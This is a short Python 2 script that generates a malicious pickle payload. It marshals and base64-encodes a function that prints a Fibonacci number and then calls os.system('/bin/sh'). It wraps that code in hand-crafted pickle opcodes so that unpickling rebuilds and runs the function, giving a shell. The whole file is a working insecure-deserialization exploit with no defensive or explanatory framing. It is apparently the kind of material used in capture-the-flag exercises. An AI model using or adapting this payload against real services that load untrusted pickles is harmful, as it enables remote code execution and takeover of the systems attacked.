#!/usr/bin/env python2

import marshal
import base64

def foo():
    import os
    def fib(n):
        if n <= 1:
            return n
        return fib(n-1) + fib(n-2)
    print('fib(10) =', fib(10))
    os.system('/bin/sh')

print """ctypes
FunctionType
(cmarshal
loads
(cbase64
b64decode
(S'{}'
tRtRc__builtin__
globals
(tRS''
tR(tR.""".format(base64.b64encode(marshal.dumps(foo.func_code)))
